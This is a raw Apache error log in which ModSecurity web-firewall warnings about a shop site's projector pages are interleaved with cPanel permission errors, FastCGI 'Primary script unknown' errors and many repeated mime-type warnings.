[Fri Jul 17 09:26:32.934842 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors"] [unique_id "almn8JBVIrrUwtEhdafWmgAAAAU"]
[Fri Jul 17 09:26:32.934945 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors"] [unique_id "almn8JBVIrrUwtEhdafWmgAAAAU"]
[Fri Jul 17 09:26:32.935328 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/projectors"] [unique_id "almn8JBVIrrUwtEhdafWmgAAAAU"]
[Fri Jul 17 09:26:33.158449 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-global": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almn8Vh1WDijTxd1xw5R8gAAAAc"]
[Fri Jul 17 09:26:33.158488 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-ip": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almn8Vh1WDijTxd1xw5R8gAAAAc"]
[Fri Jul 17 09:26:33.267340 2026] [proxy_fcgi:error] [pid 2030774:tid 2030774] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:33.301036 2026] [security2:error] [pid 2039911:tid 2039911] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn8JBVIrrUwtEhdafWmgAAAAU"]
[Fri Jul 17 09:26:33.442596 2026] [proxy_fcgi:error] [pid 1993671:tid 1993671] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:34.270258 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:34.301879 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:34.315518 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:34.389588 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:34.413449 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:34.511228 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/acer-projectors"] [unique_id "almn8vwooI4qY7Jg93pa-QAAABM"]
[Fri Jul 17 09:26:34.511339 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/acer-projectors"] [unique_id "almn8vwooI4qY7Jg93pa-QAAABM"]
[Fri Jul 17 09:26:34.511702 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "dragon.lk"] [uri "/store/projectors/acer-projectors"] [unique_id "almn8vwooI4qY7Jg93pa-QAAABM"]
[Fri Jul 17 09:26:34.514830 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:34.516524 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-global": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almn8pBVIrrUwtEhdafWnQAAAAU"]
[Fri Jul 17 09:26:34.516547 2026] [security2:error] [pid 2039911:tid 2039911] [client 54.116.45.0:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/ceylonpa-ip": Permission denied [hostname "ceylonparampara.lk.66-85-158-91.cpanel.site"] [uri "/cpanel-errors/cptechdomain.shtml"] [unique_id "almn8pBVIrrUwtEhdafWnQAAAAU"]
[Fri Jul 17 09:26:34.617630 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:34.717004 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:34.753829 2026] [security2:error] [pid 2030955:tid 2030955] [client 153.37.84.228:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "dragon.lk"] [uri "/index.php"] [unique_id "almn8vwooI4qY7Jg93pa-QAAABM"]
[Fri Jul 17 09:26:34.817677 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:34.919287 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.019200 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.059356 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:35.154067 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154179 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154223 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154257 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154317 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154510 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154550 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154614 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154652 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154688 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154718 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154747 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154897 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154964 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.154994 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155021 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155111 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155230 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155257 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155414 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155476 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155508 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155669 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155703 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155733 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155793 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155828 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.155877 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.156025 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.156191 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.156410 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.156535 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.156668 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.156817 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.156931 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.157190 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.231363 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:35.231876 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.323002 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.413674 2026] [proxy_fcgi:error] [pid 2028246:tid 2028246] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:35.424089 2026] [mime:warn] [pid 2029866:tid 2029866] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525513 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525648 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525675 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525694 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525730 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525850 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525884 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525902 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525919 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525935 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525955 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.525974 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526094 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526151 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526167 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526184 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526227 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526293 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526312 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526401 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526432 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526463 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526558 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526618 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526639 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526670 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526690 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526709 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526802 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526826 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526865 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526883 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526900 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526931 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.526950 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.527035 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.574932 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:35.625565 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625691 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625712 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625729 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625764 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625893 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625913 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625930 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625946 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625971 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.625987 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626003 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626106 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626140 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626156 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626172 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626221 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626282 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626298 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626388 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626430 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626446 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626508 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626523 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626539 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626582 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626622 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626647 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626731 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626751 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626792 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626821 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626849 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626882 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626898 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.626981 2026] [mime:warn] [pid 2018757:tid 2018757] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.727286 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.762601 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:35.827253 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827325 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827346 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827364 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827393 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827494 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827512 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827528 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827544 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827560 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827598 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827619 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827734 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827776 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827792 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827808 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827847 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827919 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.827935 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828021 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828062 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828081 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828144 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828160 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828175 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828202 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828217 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828233 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828317 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828337 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828375 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828391 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828406 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828433 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828449 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.828529 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.928276 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:26:35.938459 2026] [proxy_fcgi:error] [pid 2029579:tid 2029579] [client 54.116.45.0:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:26:35.963929 2026] [security2:error] [pid 2013830:tid 2013830] [client 153.37.84.228:0] ModSecurity: Warning. Match of "within %{tx.allowed_request_content_type}" against "TX:content_type" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "956"] [id "920420"] [msg "Request content type is not allowed by policy"] [data "|text/html|"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153"] [tag "PCI/12.1"] [hostname "dragon.lk"] [uri "/store/projectors/asus-projectors"] [unique_id "almn8wRRrtuZqNDDSqW1fQAAABo"]
